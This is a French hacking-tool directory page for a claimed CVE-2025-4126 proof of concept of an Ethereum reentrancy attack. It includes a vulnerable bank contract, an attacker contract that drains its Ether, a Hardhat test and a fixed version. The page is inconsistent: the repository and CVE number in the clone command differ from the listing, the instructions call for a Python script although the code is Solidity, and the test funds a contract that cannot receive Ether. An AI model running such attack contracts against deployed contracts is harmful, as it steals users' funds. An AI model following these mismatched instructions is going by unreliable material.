Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-4126 — Vulnérabilité d'attaque de réentrance de contrat intelligent POC | Kitploit
Outils/GitHubGitHub/slow-mist/cve-2025-4126
Analyse des VulnérabilitésExploitationExploitation d'Applications WebApprentissage et ÉducationLabs et Pratique
GitHubslow-mist/cve-2025-4126

CVE-2025-4126

Vulnérabilité d'attaque de réentrance de contrat intelligent POC

Voir le dépôt
1il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

POC-CVE-2025-4126

smart contract reentrancy attack vulnerability 验证

Preuve de concept d'attaque par réentrance sur contrat intelligent

Ce dépôt contient une preuve de concept (PoC) démontrant une vulnérabilité d'attaque par réentrance sur les contrats intelligents Ethereum. Le PoC comprend un contrat intelligent vulnérable, un contrat attaquant, et des instructions pour reproduire l'attaque dans un environnement de test local.

Table des matières

  • Aperçu
  • Description de la vulnérabilité
  • Configuration du PoC
  • Exécution du PoC
  • Licence

Aperçu

La réentrance est une vulnérabilité courante dans les contrats intelligents Ethereum, où un contrat externe peut effectuer des appels répétés vers le contrat d'origine avant la fin du premier appel, ce qui peut vider des fonds ou manipuler l'état. Ce PoC montre comment un attaquant peut exploiter un contrat vulnérable pour voler de l'Ether.

Description de la vulnérabilité

Le contrat vulnérable (VulnerableBank) permet aux utilisateurs de déposer et de retirer de l'Ether. Cependant, il ne gère pas correctement les mises à jour d'état avant d'effectuer des appels externes, ce qui le rend susceptible à la réentrance. Le contrat attaquant (Attacker) exploite cela en appelant récursivement la fonction withdraw pour vider le solde d'Ether du contrat.

Problème clé

  • La fonction withdraw de VulnerableBank envoie de l'Ether à l'appelant avant de mettre à jour le solde de l'utilisateur.
  • Cela permet au contrat de l'attaquant d'appeler à nouveau withdraw dans sa fonction de repli, vidant ainsi les fonds du contrat.

Configuration du PoC

Pour exécuter ce PoC, vous avez besoin de :

  • python3.x
  • pip3

Installation et exécution

  1. Clonez ce dépôt :
    root@kitploit:~
    git clone https://github.com/Layer1-Artist/POC-CVE-2025-48621.git
    cd POC-CVE-2025-48621
    
  2. Exécutez :
    root@kitploit:~
    python3 poc.py
    

Code du PoC

Voici les deux contrats utilisés dans ce PoC :

VulnerableBank.sol

Ce contrat simule une simple banque permettant les dépôts et retraits, mais vulnérable à la réentrance.

root@kitploit:~
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract VulnerableBank {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "No balance to withdraw");

        // Vulnérable : appel externe avant mise à jour de l'état
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        // Mise à jour de l'état après l'appel externe
        balances[msg.sender] = 0;
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

Attacker.sol

Ce contrat exploite la vulnérabilité de réentrance en appelant récursivement la fonction withdraw.

root@kitploit:~
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Attacker {
    VulnerableBank public vulnerableBank;
    uint256 public constant WITHDRAW_AMOUNT = 1 ether;

    constructor(address _vulnerableBankAddress) {
        vulnerableBank = VulnerableBank(_vulnerableBankAddress);
    }

    // Lance l'attaque
    function attack() external payable {
        require(msg.value >= WITHDRAW_AMOUNT, "Need at least 1 Ether to attack");
        vulnerableBank.deposit{value: WITHDRAW_AMOUNT}();
        vulnerableBank.withdraw();
    }

    // Fonction de repli pour appeler récursivement withdraw
    receive() external payable {
        if (address(vulnerableBank).balance >= WITHDRAW_AMOUNT) {
            vulnerableBank.withdraw();
        }
    }

    // Retire l'Ether volé vers l'adresse de l'attaquant
    function withdrawFunds() external {
        payable(msg.sender).transfer(address(this).balance);
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

Script de test Hardhat

Un script de test Hardhat est inclus pour automatiser la simulation de l'attaque.

root@kitploit:~
const { expect } = require("chai");
const { ethers } = require("hardhat");

describe("Reentrancy Attack PoC", function () {
  let vulnerableBank, attacker, owner, attackerAddr;

  beforeEach(async function () {
    // Déploiement de VulnerableBank
    const VulnerableBank = await ethers.getContractFactory("VulnerableBank");
    vulnerableBank = await VulnerableBank.deploy();
    await vulnerableBank.deployed();

    // Déploiement de Attacker
    const Attacker = await ethers.getContractFactory("Attacker");
    [owner, attackerAddr] = await ethers.getSigners();
    attacker = await Attacker.deploy(vulnerableBank.address);
    await attacker.deployed();

    // Alimenter VulnerableBank avec 10 Ether
    await owner.sendTransaction({
      to: vulnerableBank.address,
      value: ethers.utils.parseEther("10"),
    });
  });

  it("should drain VulnerableBank via reentrancy", async function () {
    // Soldes initiaux
    const initialBankBalance = await vulnerableBank.getBalance();
    console.log(`Initial Bank Balance: ${ethers.utils.formatEther(initialBankBalance)} ETH`);

    // Exécution de l'attaque avec 1 Ether
    await attacker.connect(attackerAddr).attack({ value: ethers.utils.parseEther("1") });

    // Vérification des soldes finaux
    const finalBankBalance = await vulnerableBank.getBalance();
    const attackerBalance = await attacker.getBalance();
    console.log(`Final Bank Balance: ${ethers.utils.formatEther(finalBankBalance)} ETH`);
    console.log(`Attacker Balance: ${ethers.utils.formatEther(attackerBalance)} ETH`);

    expect(finalBankBalance).to.equal(0, "Bank should be drained");
    expect(attackerBalance).to.be.above(0, "Attacker should have stolen funds");
  });
});

Résultat attendu

  • Solde initial de la banque : 10 ETH
  • Solde final de la banque : 0 ETH
  • Solde de l'attaquant : ~10 ETH (frais de gaz déduits)

Atténuation

Pour prévenir les attaques par réentrance, considérez les bonnes pratiques suivantes :

  1. Modèle Checks-Effects-Interactions : Mettez à jour l'état (par exemple les soldes) avant d'effectuer des appels externes.
  2. Verrou anti-réentrance : Utilisez un modificateur (par exemple ReentrancyGuard d'OpenZeppelin) pour empêcher les appels récursifs.
  3. Limiter le gaz : Restreignez le gaz transmis aux appels externes pour éviter les logiques de réentrance complexes.
  4. Utiliser transfer ou send : Ces méthodes limitent le gaz, réduisant le risque de réentrance.

Exemple de correction pour VulnerableBank.sol

root@kitploit:~
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SecureBank is ReentrancyGuard {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public nonReentrant {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "No balance to withdraw");

        // Mise à jour de l'état d'abord
        balances[msg.sender] = 0;

        // Puis appel externe
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

Licence

Ce projet est sous licence MIT - voir le fichier LICENSE pour plus de détails.

Télécharger l’outil